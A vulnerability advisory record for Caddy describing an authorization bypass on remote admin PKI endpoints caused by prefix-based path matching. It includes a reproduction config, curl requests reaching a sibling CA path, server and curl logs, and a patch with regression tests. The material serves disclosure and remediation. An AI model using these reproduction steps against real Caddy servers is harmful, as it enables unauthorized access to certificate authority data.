{"id":"GHSA-gx7w-56w6-g48x","aliases":["GO-2026-5408"],"url":"https://o3.security/vulnerability/GHSA-gx7w-56w6-g48x","summary":"Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching","details":"## AI Disclosure\n\n  I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.\n  I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`.\n\n  ## Summary\n\n  Caddy's remote admin access control performs path authorization using prefix matching:\n\n  - [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)`\n\n  This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`.\n\n  This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.\n\n  ## Affected Component\n\n  Remote admin access control for PKI admin endpoints.\n\n  Relevant code:\n\n  - [`admin.go`](/caddy/admin.go#L687)\n  - [`admin.go`](/caddy/admin.go#L719)\n  - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68)\n  - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164)\n\n  ## Root Cause\n\n  In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this:\n\n  ```go\n  for _, allowedPath := range accessPerm.Paths {\n  \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n  \t\tpathFound = true\n  \t\tbreak\n  \t}\n  }\n```\n\n  This does not enforce a path-segment boundary.\n\n  So if the allowed path is:\n\n  /pki/ca/prod\n\n  then all of the following are treated as authorized:\n\n  - /pki/ca/prod-backup\n  - /pki/ca/prod1\n  - /pki/ca/prodanything\n\n  For PKI admin endpoints, the CA ID is taken directly from the request path:\n\n  - modules/caddypki/adminapi.go:164\n\n  So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.\n\n  ## Security Impact\n\n  A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.\n\n  This breaks least-privilege remote admin policies and results in authenticated authorization bypass.\n\n  ## Minimal Configuration\n\n  File: repro.json\n```\n  {\n    \"admin\": {\n      \"listen\": \"127.0.0.1:2019\",\n      \"identity\": {\n        \"identifiers\": [\"localhost\"],\n        \"issuers\": [\n          { \"module\": \"internal\" }\n        ]\n      },\n      \"remote\": {\n        \"listen\": \"127.0.0.1:2021\",\n        \"access_control\": [\n          {\n            \"public_keys\": [\"<CLIENT_CERT_BASE64_DER>\"],\n            \"permissions\": [\n              {\n                \"methods\": [\"GET\"],\n                \"paths\": [\"/pki/ca/prod\"]\n              }\n            ]\n          }\n        ]\n      }\n    },\n    \"apps\": {\n      \"pki\": {\n        \"certificate_authorities\": {\n          \"prod\": {\n            \"name\": \"prod\"\n          },\n          \"prod-backup\": {\n            \"name\": \"prod-backup\"\n          }\n        }\n      }\n    }\n  }\n\n```\n  ## Reproduction Steps From Scratch\n\n  ### 1. Generate a client certificate\n```\n  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n    -subj '/CN=remote-admin-client' \\\n    -keyout client.key \\\n    -out client.crt\n\n```\n\n  ### 2. Convert the client certificate to base64 DER\n\n  CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d '\\n')\"\n\n  ### 3. Put that value into repro.json\n\n  Replace:\n\n  <CLIENT_CERT_BASE64_DER>\n\n  with the value of CLIENT_CERT_B64.\n\n  ### 4. Run Caddy\n\n  go run ./cmd/caddy run --config ./repro.json\n\n  ### 5. Confirm access to the intended allowed path\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod\n```\n  Expected result:\n\n  - HTTP/1.1 200 OK\n\n  ### 6. Request a different CA whose path shares the same prefix\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod-backup\n```\n  Expected secure behavior:\n\n  - HTTP/1.1 403 Forbidden\n\n  Actual behavior:\n\n  - HTTP/1.1 200 OK\n\n  ## Precise HTTP Requests and Output\n\n  ### Allowed path\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod\n```\n  Response excerpt:\n```\n  > GET /pki/ca/prod HTTP/1.1\n  > Host: localhost:2021\n  > User-Agent: curl/8.5.0\n  > Accept: */*\n  >\n  < HTTP/1.1 200 OK\n  < Content-Type: application/json\n```\n  ### Unauthorized sibling path that is incorrectly allowed\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod-backup\n```\n  Response excerpt:\n```\n  > GET /pki/ca/prod-backup HTTP/1.1\n  > Host: localhost:2021\n  > User-Agent: curl/8.5.0\n  > Accept: */*\n  >\n  < HTTP/1.1 200 OK\n  < Content-Type: application/json\n```\n  The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.\n\n  ## Full Log Output\n\nsever :\n```\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json\n2026/03/19 13:58:13.747\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/19 13:58:13.747\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/19 13:58:13.747\tINFO\tusing config from file\t{\"file\": \"/caddy/repro.json\"}\n2026/03/19 13:58:13.757\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2019\", \"enforce_origin\": false, \"origins\": [\"//localhost:2019\", \"//[::1]:2019\", \"//127.0.0.1:2019\"]}\n2026/03/19 13:58:13.757\tWARN\tpki.ca.prod\tinstalling root certificate (you might be prompted for password)\t{\"path\": \"storage:pki/authorities/prod/root.crt\"}\n2026/03/19 13:58:13.757\tINFO\twarning: \"certutil\" is not available, install \"certutil\" with \"apt install libnss3-tools\" or \"yum install nss-tools\" and try again\n2026/03/19 13:58:13.757\tINFO\tdefine JAVA_HOME environment variable to use the Java trust\n2026/03/19 13:58:14.406\tINFO\tcertificate installed properly in linux trusts\n2026/03/19 13:58:14.406\tWARN\tpki.ca.prod-backup\tinstalling root certificate (you might be prompted for password)\t{\"path\": \"storage:pki/authorities/prod-backup/root.crt\"}\n2026/03/19 13:58:14.407\tINFO\twarning: \"certutil\" is not available, install \"certutil\" with \"apt install libnss3-tools\" or \"yum install nss-tools\" and try again\n2026/03/19 13:58:14.407\tINFO\tdefine JAVA_HOME environment variable to use the Java trust\n2026/03/19 13:58:15.038\tINFO\tcertificate installed properly in linux trusts\n2026/03/19 13:58:15.045\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0006a4480\"}\n2026/03/19 13:58:15.046\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2021\"}\n2026/03/19 13:58:15.046\tINFO\tadmin.identity.obtain\tacquiring lock\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.046\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/19 13:58:15.046\tINFO\tserving initial configuration\n2026/03/19 13:58:15.047\tINFO\tadmin.identity.obtain\tlock acquired\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.047\tINFO\tadmin.identity.obtain\tobtaining certificate\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.049\tINFO\tadmin.identity.obtain\tcertificate obtained successfully\t{\"identifier\": \"localhost\", \"issuer\": \"local\"}\n2026/03/19 13:58:15.049\tINFO\tadmin.identity.obtain\treleasing lock\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.050\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/19 13:59:36.896\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"40728\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/19 14:00:24.102\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod-backup\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"60490\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/19 14:00:33.774\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod-backup\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46918\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n```\n\n\ncurl :\n```\nroot@dbdd95a60758:/caddy#   curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2021/pki/ca/prod\n* Added localhost:2021:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2021...\n* Connected to localhost (127.0.0.1) port 2021\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 13:58:15 2026 GMT\n*  expire date: Mar 20 01:58:15 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> GET /pki/ca/prod HTTP/1.1\n> Host: localhost:2021\n> User-Agent: curl/8.5.0\n> Accept: */*\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Date: Thu, 19 Mar 2026 13:59:36 GMT\n< Content-Length: 1410\n< \n{\"id\":\"prod\",\"name\":\"prod\",\"root_common_name\":\"prod - 2026 ECC Root\",\"intermediate_common_name\":\"prod - ECC Intermediate\",\"root_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBgDCCASegAwIBAgIQc9RlUm1dn8xVrPjKdqtb/TAKBggqhkjOPQQDAjAfMR0w\\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0z\\nNjAxMjYxMzU4MTNaMB8xHTAbBgNVBAMTFHByb2QgLSAyMDI2IEVDQyBSb290MFkw\\nEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEC+L/zt5e1B08ebSd//MN2zkPZPIIe/8d\\nAfdvLfaLpKXEDHdpMUkv+B1ZfJ5ADCKGHby7hMcOmNxd3dN2so2TvaNFMEMwDgYD\\nVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFEjO3f/T\\ngS+YsLBLu5qoAfzrButkMAoGCCqGSM49BAMCA0cAMEQCIFph9BmyT0EuWH+5FWaJ\\nVI0RoHaSNe4YmKhCT0bxlOV/AiAVYjtkncsfNxnIoVtcRWebiKfX4neEAvp6zy/m\\n4LabLA==\\n-----END CERTIFICATE-----\\n\",\"intermediate_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBpjCCAUugAwIBAgIQeDYa6T6mhf1UR2ZojWa/NjAKBggqhkjOPQQDAjAfMR0w\\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0y\\nNjAzMjYxMzU4MTNaMCIxIDAeBgNVBAMTF3Byb2QgLSBFQ0MgSW50ZXJtZWRpYXRl\\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQc* Connection #0 to host localhost left intact\nDQgAEDvNEubxYmGliE/jZf+scF4ln9FGi\\nKxGlIBy91xltHw85PZFoPUNYoXZc797RNE89XfPLNzcTmcQ36zAfibXkBaNmMGQw\\nDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFORU\\nKtaSzBJ30Yh6xLKBlF3NkXwyMB8GA1UdIwQYMBaAFEjO3f/TgS+YsLBLu5qoAfzr\\nButkMAoGCCqGSM49BAMCA0kAMEYCIQCPsqN6  curl -vk \\2CdQNYGrH10qYPhO\\nMx19KoL/bQIhANyK3kmXwiQ2p6jEuVTIDxLJ1nC6JCDKWoSCXv/m+00Y\\n-----END CERTIFICATE-----\\n\"}\n\n\nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy#   curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2021/pki/ca/prod-backup\n* Added localhost:2021:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2021...\n* Connected to localhost (127.0.0.1) port 2021\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 13:58:15 2026 GMT\n*  expire date: Mar 20 01:58:15 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> GET /pki/ca/prod-backup HTTP/1.1\n> Host: localhost:2021\n> User-Agent: curl/8.5.0\n> Accept: */*\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Date: Thu, 19 Mar 2026 14:00:33 GMT\n< Content-Length: 1476\n< \n{\"id\":\"prod-backup\",\"name\":\"prod-backup\",\"root_common_name\":\"prod-backup - 2026 ECC Root\",\"intermediate_common_name\":\"prod-backup - ECC Intermediate\",\"root_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBjjCCATWgAwIBAgIQT1WaOdq8CllHL5S6sAnk8TAKBggqhkjOPQQDAjAmMSQw\\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\\nODEzWhcNMzYwMTI2MTM1ODEzWjAmMSQwIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIw\\nMjYgRUNDIFJvb3QwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT0+xx/GaeAr+/I\\nZcKDeqZ068wOshKbcqydNJauAgbip7i88d76qYyQr+X7ooMYcmRV445suZ0NHn00\\ndGIjpStZo0UwQzAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBATAd\\nBgNVHQ4EFgQU9oZZqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDRwAwRAIg\\ncXbK46l4eAyrW3y9sgUBcheutkytG0d2cqgD67HuqdQCICI8E2O42zfz1afR/Joj\\nalNeF17VljePo75gPjIOp5kv\\n-----END CERTIFICATE-----\\n\",\"intermediate_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBtDCCAVmgAwIBAgIQFJSHXX6ao3EgdKjGdRXeiDAKBggqhkjOPQQDAjAmMSQw\\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\\nODEzWhcNMjYwMzI2MTM1ODEzWjApMScwJQYDVQQDEx5wcm9kLWJhY* Connection #0 to host localhost left intact\n2t1cCAtIEVD\\nQyBJbnRlcm1lZGlhdGUwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAARbdjKxj1Ce\\n4iCF1dbKGgsob9jH29DiUow/0yNJ6Cb7IBh0mAKK0y/nU+C6IfcFBgFOmla8wHhI\\njyKVLy38Jb87o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB\\nADAdBgNVHQ4EFgQUescC8F6u/krP+iw9Uc2FpqrorG0wHwYDVR0jBBgwFoAU9oZZ\\nqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDSQAwRgIhANm2Zxrs2q6JI5B0\\nmMh4PWJM9ilOu/0C/jTMSK3otqEqAiEAor00ItWkpcgLpXI4lRbefzeTM+f8yr6V\\nXryCbtlyT38=\\n-----END CERTIFICATE-----\\n\"}\n\n```\n\n\n  ## Why This Is Not Just Misconfiguration\n\n  The configuration explicitly attempts to restrict access to:\n\n  /pki/ca/prod\n\n  The unsafe behavior is caused by Caddy's implementation using prefix matching instead of segment-aware matching. The product does not enforce the configured policy as written.\n\n  ## Suggested Fix\n\n  Path authorization should allow:\n\n  - exact match, or\n  - subpath match only when the next character is /\n\n  For example:\n```\n  func pathAllowed(reqPath, allowedPath string) bool {\n  \tif reqPath == allowedPath {\n  \t\treturn true\n  \t}\n  \treturn strings.HasPrefix(reqPath, allowedPath+\"/\")\n  }\n```\n  This preserves intended access to subresources like:\n\n  - /pki/ca/prod/certificates\n\n  while correctly denying sibling resources like:\n\n  - /pki/ca/prod-backup\n\n  ## Working Patch\n\n```\n  diff --git a/admin.go b/admin.go\n  index 0000000..0000000 100644\n  --- a/admin.go\n  +++ b/admin.go\n  @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error {\n   \t\t\t\t\t\t// verify path\n   \t\t\t\t\t\tpathFound := accessPerm.Paths == nil\n   \t\t\t\t\t\tfor _, allowedPath := range accessPerm.Paths {\n  -\t\t\t\t\t\t\tif strings.HasPrefix(r.URL.Path, allowedPath) {\n  -\t\t\t\t\t\t\t\tpathFound = true\n  +\t\t\t\t\t\t\tif r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+\"/\") {\n  +\t\t\t\t\t\t\t\tpathFound = true\n   \t\t\t\t\t\t\t\tbreak\n   \t\t\t\t\t\t\t}\n   \t\t\t\t\t\t}\n\n\n```\n  ## Why the Patch Works\n\n  The patch changes authorization from naive prefix matching to segment-aware matching.\n\n  This allows:\n\n  - /pki/ca/prod\n  - /pki/ca/prod/certificates\n\n  but denies:\n\n  - /pki/ca/prod-backup\n  - /pki/ca/prod1\n\n  which is consistent with the configured path policy.\n\n  ## Suggested Regression Tests\n\n  At minimum:\n\n  1. Allow /pki/ca/prod, request /pki/ca/prod, expect allowed.\n  2. Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed.\n  3. Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied.\n  4. Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.","published":"2026-05-19T19:36:13Z","modified":"2026-07-24T19:11:51.736149696Z","cvss":{"score":4.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/caddyserver/caddy/v2","fixedVersion":"2.11.3"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-gx7w-56w6-g48x"},{"type":"PACKAGE","url":"https://github.com/caddyserver/caddy"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-24T19:11:51.736149696Z"}}